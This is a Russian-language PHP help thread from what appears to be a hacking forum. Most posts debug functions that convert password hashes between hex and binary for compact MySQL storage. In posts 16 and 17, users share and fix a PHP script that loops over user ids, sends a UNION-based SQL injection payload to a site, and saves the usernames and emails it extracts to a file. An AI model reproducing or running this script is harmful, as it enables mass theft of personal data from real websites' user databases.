[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    cпасибо дум, бул.
     
    1 person likes this.
  2. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Функция кодирования хэша содержит ошибку:
    PHP:
    // Функция кодирования строки хэша в hex
    function code_hash($s

    $n=0;   
    $hash_code=""
    $code="";
    $l=strlen($s)-1
    do   
     {   
      
    $code='0x'.$s[$n].$s[$n+1];   
      
    $hash_code.=chr(hexdec($code));   
      
    $n++;   
     }   
    while (
    $n++<$l); 
    return 
    $hash_code

    Например берём хэш
    952f26f83e66b8881ae7e603e1643e901f5b5220
    кодируем/декодируем получаем:
    952f26f83e66b8881ae7e63e1643e901f5b52

    как видно пропали два нуля и двойка (3 символа!)

    Функция декодирования:
    PHP:
    // Функция декодирования хэша из hex.
     
    function decode_hash($string)  
    {  
    $n=0;
    $code="";    
    $decode_hash="";  
    $l=strlen($string)-1
    do    
     {    
      
    $code=ord($string[$n]);    
      
    $decode_hash.=dechex($code);    
     }    
    while (
    $n++<$l);  
    return 
    $decode_hash;  
    }
    Не пойму где ошибка, то ли в функциях, то ли при занесении в базу закодированного хэша, хелп плиз!
     
  3. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Лебедь, вместо первой функции используй bin2hex()

    PHP:
    function unhex($str)
    {
    $str=str_replace('0x','',$str);
    $unhexed='';
     for(
    $i=0;$i<strlen($str);$i+=2)
      {
       
    $unhexed.=chr(hexdec(substr($str,$i,2)));
      }
    return 
    $unhexed;
    }
     
    #1643 Macro, 22 Jan 2008
    Last edited: 22 Jan 2008
    1 person likes this.
  4. PiNzit

    PiNzit Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    57
    Likes Received:
    10
    Reputations:
    0
    -=lebed=- проверь, скорее всего у тебя в БД колонка ограничена 38 символами...
     
  5. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    ошибка оказалась в функции декодирования хэша из hex в символьный вид:
    PHP:
    // Функция декодирования хэша из hex. 
     
    function decode_hash($string)   
    {   
    $n=0
    $code="";     
    $decode_hash="";   
    $l=strlen($string)-1;  
    do     
     {     
      
    $code=ord($string[$n]);     // вот тут если $code - односимвольное представление, то надо добавить 0 перед ним.
      
    $decode_hash.=dechex($code);     
     }     
    while (
    $n++<$l);   
    return 
    $decode_hash;   

    Исправил так:
    PHP:
    // Функция декодирования хэша из hex-строки в символьное представление.
     
    function decode_hash($string)  
    {  
    $n=0;
    $code="";    
    $decode_hash="";  
    $l=strlen($string)-1
    do    
     {    
      
    $code=ord($string[$n]);
      
    $code1=dechex($code);
      if (
    strlen($code1)==1$code1="0".$code;   // если например $code=3 делаем 03
      
    $decode_hash.=$code1;   
     }    
    while (
    $n++<$l);  
    return 
    $decode_hash;  
    }
     
  6. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Лебедь, я же тебе написал функцию гораздо проще, зачем такой код громоздить?
     
  7. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Это не то что мне нужно:
    То если преобразовать строку хэша 952f26f83e66b8881ae7e603e1643e901f5b5220 то будет вот что:
    39353266323666383365363662383838316165376536303365313634336539303166356235323230
    А мне надо получить строку символов, код которых chr(hexdec(95)).chr(hexdec(2f)).chr(hexdec(26)) и т.д.
     
  8. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Я имею ввиду функцию расшифровки. А зачем тебе такая бяка?
     
  9. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Я хочу хэши в таблице Мускула хранить в естественном виде (hex).
    Т.е. например MD5(128bit) в символьном виде займёт 32 байта, а я хочу 16 байт.
    MySQL(64bit) в символьном виде 16 байт, а я хочу 8 и т. д.

    PS Тут ещё проблема с экранированием спецсимволов. При запросе автоматом экранируются спецсимволы в $code3 и $code4. А сами слэши в таблицу записываются?
    PHP:
    $query "INSERT INTO ".$db_table." (`passwd`,`code3`,`code4`) VALUES (null,'".$code3."','".$code4."')";
    $r=mysql_query($query);
     
  10. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    хм, а если в функции md5 второй параметр true поставить, то он и будет занимать 16 байт вроде, т.е.
    md5('blabla',true)=Я^ў™$Уњ;иxW4с1iЖ
     
    #1650 Scipio, 23 Jan 2008
    Last edited: 23 Jan 2008
  11. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Это в версии 5 PHP появилось, до этого не было... ;)
     
  12. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    угу в 5, я просто привык уже к 5, вот и не подумал
     
  13. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Я вообще не понимаю логики авторов php. Это должно быть сделано ещё в начальных версиях так и по умолчанию логично чтоб было сразу в бинарном виде. А уж если нада "читаемый" вид хэша получить, то доп. параметр - вот так было бы логичнее...
    PS Я так понял исправляют косяки php ранние и чтоб совместимость сохранилась...
     
  14. cash$$$

    cash$$$ Banned

    Joined:
    6 Jan 2008
    Messages:
    385
    Likes Received:
    246
    Reputations:
    10
    Подскажите как узнать имя файла зная только его дескриптор? Например имя файла создаваемого функцией

    tmpfile().
     
  15. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    никак, эта функция создает безымянные файлы и работает чисто с дескриптором
     
  16. lexa

    lexa Elder - Старейшина

    Joined:
    14 Jan 2005
    Messages:
    75
    Likes Received:
    11
    Reputations:
    -2
    ребят укажите на мою ошибку...
    вот скрипт который
    1) открывает файл emails.txt для дальнейшей записи туда *( fopen('emails.txt','a+'); )*
    2) перебирает id как переменную $i *( id=$i/*'; )*
    3) ищет в загруженной странице слово root@"localhost
    *(preg_match_all('|root@"localhost([^"]*)"|is',$str,$out);)*
    и уже далее мыло которое идет следом за ним сохраняет в открытый emails.txt


    Code:
    <? 
    
    $handler=fopen('emails.txt','a+');
      for($i=1;$i<30;$i++)
    { 
        $filename = 'http://www.mysite.ru/index.php?t=-1+union+select+user(),concat(username,char(58),email)+from+users+WHERE+id=$i/*'; 
        echo $i.". "; 
        $str = file_get_contents($filename); 
        preg_match_all('|root@"localhost([^"]*)"|is',$str,$out); 
        if(empty($out[1][0])) echo " no mail"; 
        else{ 
          echo " get ".$out[1][0]; 
          fwrite($handler,$out[1][0]."\n"); 
        } 
        echo "\n"; 
      } 
      fclose($handler); 
    ?> 


    но есть проблема .... он выводит в браузере что не нашел мыла а emails.txt заполняет самим html кодом...

    в чем проблема?
     
  17. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    может потому что перемменая $i находится между апостофами тоесть '$i' тада интерпретатор считает это не как перемменую а как знак доллора и букву i?

    Зачем тебе preg_match_all? ты мыльники у юзеров смотриш так они ж не будут по 10 мыл писать у каждого юзера 1 мыло =)

    думаю тебе этого вполне хватит

    PHP:
    <? 

    $handler=fopen('emails.txt','a+');
      for(
    $i=1;$i<30;$i++)

        
    $filename "http://www.mysite.ru/index.php?t=-1+union+select+user(),concat(username,char(58),email)+from+users+WHERE+id=$i/*"
        echo 
    $i.". "
        
    $str file_get_contents($filename); 
        if(
    preg_match('|root@"localhost([^"]+)"|is',$str,$out) == 0) {echo " no mail";}
        else{ 
          echo 
    " get ".$out['1']; 
          
    $save $out['1']."\n";
          
    fwrite($handler,$save); 
        } 
        echo 
    "\n"
      } 
      
    fclose($handler); 
    ?> 
     
    #1657 Doom123, 24 Jan 2008
    Last edited: 24 Jan 2008
  18. lexa

    lexa Elder - Старейшина

    Joined:
    14 Jan 2005
    Messages:
    75
    Likes Received:
    11
    Reputations:
    -2
    не помогло .. =(( что может быть не так .. ???
     
  19. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Регулярка очень кривая. Но ничего точно сейчас сказать нельзя, потому что не совсем понятно что надо. Ссылку в студию.
     
  20. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    странно проверял када в файлах мыльники вида root@"[email protected]"
    У меня всё прекрасно писало в файл хз что там не так ... может в скуле дело?
     
Thread Status:
Not open for further replies.